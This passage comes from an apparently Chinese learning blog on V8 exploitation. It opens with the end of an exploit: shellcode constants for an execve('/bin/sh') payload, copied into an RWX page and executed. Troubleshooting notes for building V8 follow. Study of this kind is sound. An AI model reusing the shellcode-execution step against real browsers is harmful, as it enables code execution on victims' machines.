0x5368732f6e69622fn , 0x050f5e5457525f54n ]; copy_shellcode_to_rwx(shellcode, rwx_page_addr); f(); |
1.在执行./configure.py --bootstrap
命令时发生报错
原因:没有安装C++编译器,执行以下命令便可解决
1 | sudo apt - get install build - essential |
2.执行pip太过缓慢导致安装不上,执行这条命令即可换源
1 | pip3 install - - upgrade pip |
1 | pip install - i https: / / pypi.tuna.tsinghua.edu.cn / simple mlxtend |
3.不知道为啥执行大神Hcamael的脚本编译oobninja会报错,可能是因为使用ninja进行编译时用带有数字的名字
历时一周终于把v8入门文章给看完了,也学了很多,例如docker的使用,gdb对版本的限制...在第一次安装v8环境的时候,一定要保存快照,每成功一个阶段就保存一次,我在搭建环境的时候反反复复恢复快照,节约了不少时间(虽然后面又重新搞了一个Ubuntu,